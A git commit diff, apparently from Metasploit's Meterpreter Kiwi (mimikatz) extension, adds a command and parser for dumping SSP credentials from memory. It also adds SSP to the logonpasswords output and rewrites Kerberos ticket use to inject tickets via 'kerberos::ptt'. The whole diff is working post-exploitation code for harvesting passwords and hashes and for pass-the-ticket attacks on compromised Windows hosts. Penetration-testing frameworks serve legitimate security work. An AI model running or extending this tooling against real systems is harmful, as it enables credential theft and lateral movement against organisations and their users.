SSP creds and golden tickets

bug/bundler_fix
OJ 2016-12-23 08:34:16 +10:00
parent 0bca485858
commit e6e2388256
No known key found for this signature in database
GPG Key ID: D5DC61FB93260597
2 changed files with 59 additions and 71 deletions

View File

@ -95,6 +95,10 @@ class Kiwi < Extension
exec_cmd('lsadump::cache') exec_cmd('lsadump::cache')
end end
def creds_ssp
{ ssp: parse_ssp(exec_cmd('sekurlsa::ssp')) }
end
def creds_msv def creds_msv
{ msv: parse_msv(exec_cmd('sekurlsa::msv')) } { msv: parse_msv(exec_cmd('sekurlsa::msv')) }
end end
@ -115,12 +119,45 @@ class Kiwi < Extension
output = exec_cmd('sekurlsa::logonpasswords') output = exec_cmd('sekurlsa::logonpasswords')
{ {
msv: parse_msv(output), msv: parse_msv(output),
ssp: parse_ssp(output),
wdigest: parse_wdigest(output), wdigest: parse_wdigest(output),
tspkg: parse_tspkg(output), tspkg: parse_tspkg(output),
kerberos: parse_kerberos(output) kerberos: parse_kerberos(output)
} }
end end
def parse_ssp(output)
results = {}
lines = output.lines
while lines.length > 0 do
line = lines.shift
# search for an wdigest line
next if line !~ /\sssp\s:/
line = lines.shift
# are there interesting values?
while line =~ /\[\d+\]/
line = lines.shift
# then the next 3 lines should be interesting
ssp = {}
3.times do
k, v = read_value(line)
ssp[k.strip] = v if k
line = lines.shift
end
if ssp.length > 0
results[ssp.values.join('|')] = ssp
end
end
end
results.values
end
def parse_wdigest(output) def parse_wdigest(output)
results = {} results = {}
lines = output.lines lines = output.lines
@ -273,9 +310,9 @@ class Kiwi < Extension
# #
# @return [void] # @return [void]
# #
def kerberos_ticket_use(ticket) def kerberos_ticket_use(base64_ticket)
base64_content = Rex::Text.encode(ticket) result = exec_cmd("\"kerberos::ptt #{base64_ticket}\"")
true result.strip.end_with?(': OK')
end end
# #
@ -327,7 +364,7 @@ class Kiwi < Extension
saving = false saving = false
content = [] content = []
output.lines.each do |l| output.lines.map(&:strip).each do |l|
if l.start_with?('Base64 of file') if l.start_with?('Base64 of file')
saving = true saving = true
elsif saving elsif saving
@ -339,7 +376,7 @@ class Kiwi < Extension
end end
end end
Rex::Text.decode_base64(content[1, content.length].join('')) content.join('')
end end
# #

View File

@ -63,7 +63,7 @@ class Console::CommandDispatcher::Kiwi
'creds_wdigest' => 'Retrieve WDigest creds (parsed)', 'creds_wdigest' => 'Retrieve WDigest creds (parsed)',
'creds_msv' => 'Retrieve LM/NTLM creds (parsed)', 'creds_msv' => 'Retrieve LM/NTLM creds (parsed)',
#'creds_livessp' => 'Retrieve LiveSSP creds', #'creds_livessp' => 'Retrieve LiveSSP creds',
#'creds_ssp' => 'Retrieve SSP creds', 'creds_ssp' => 'Retrieve SSP creds',
'creds_tspkg' => 'Retrieve TsPkg creds (parsed)', 'creds_tspkg' => 'Retrieve TsPkg creds (parsed)',
'creds_kerberos' => 'Retrieve Kerberos creds (parsed)', 'creds_kerberos' => 'Retrieve Kerberos creds (parsed)',
'creds_all' => 'Retrieve all credentials (parsed)', 'creds_all' => 'Retrieve all credentials (parsed)',
@ -228,8 +228,6 @@ class Console::CommandDispatcher::Kiwi
# #
@@kerberos_ticket_list_opts = Rex::Parser::Arguments.new( @@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help banner' ], '-h' => [ false, 'Help banner' ],
'-e' => [ false, 'Export Kerberos tickets to disk' ],
'-p' => [ true, 'Path to export Kerberos tickets to' ]
) )
# #
@ -251,64 +249,14 @@ class Console::CommandDispatcher::Kiwi
return return
end end
# default to not exporting output = client.kiwi.kerberos_ticket_list.strip
export = false if output == ''
# default to the current folder for dumping tickets print_error('No kerberos tickets exist in the current session.')
export_path = '.' else
print_good('Kerberos tickets found in the current session.')
@@kerberos_ticket_list_opts.parse(args) { |opt, idx, val| print_line(output)
case opt
when '-e'
export = true
when '-p'
export_path = val
end
}
tickets = client.kiwi.kerberos_ticket_list(export)
print_line(tickets)
fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags']
fields << 'Export Path' if export
table = Rex::Text::Table.new(
'Header' => 'Kerberos Tickets',
'Indent' => 0,
'SortIndex' => 0,
'Columns' => fields
)
tickets.each do |t|
flag_list = client.kiwi.to_kerberos_flag_list(t[:flags]).join(", ")
values = [
"#{t[:server]} @ #{t[:server_realm]}",
"#{t[:client]} @ #{t[:client_realm]}",
t[:start],
t[:end],
t[:max_renew],
"#{t[:flags].to_s(16).rjust(8, '0')} (#{flag_list})"
]
# write out each ticket to disk if export is enabled.
if export
path = '<no data retrieved>'
if t[:raw]
id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-')
file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt"
path = ::File.expand_path(File.join(export_path, file))
::File.open(path, 'wb') do |x|
x.write t[:raw]
end
end
values << path
end
table << values
end end
print_line print_line
print_line(table.to_s)
print_line("Total Tickets : #{tickets.length}")
end end
# #
@ -334,9 +282,12 @@ class Console::CommandDispatcher::Kiwi
ticket += f.read(f.stat.size) ticket += f.read(f.stat.size)
end end
print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes") print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes ...")
client.kiwi.kerberos_ticket_use(ticket) if client.kiwi.kerberos_ticket_use(ticket)
print_good('Kerberos ticket applied successfully') print_good('Kerberos ticket applied successfully.')
else
print_error('Kerberos ticket application failed.')
end
end end
# #
@ -423,10 +374,10 @@ class Console::CommandDispatcher::Kiwi
# #
# Dump all SSP credentials to screen. # Dump all SSP credentials to screen.
# #
#def cmd_creds_ssp(*args) def cmd_creds_ssp(*args)
# method = Proc.new { client.kiwi.ssp } method = Proc.new { client.kiwi.creds_ssp }
# scrape_passwords('ssp', method, args) scrape_passwords('ssp', method, args)
#end end
# #
# Dump all TSPKG credentials to screen. # Dump all TSPKG credentials to screen.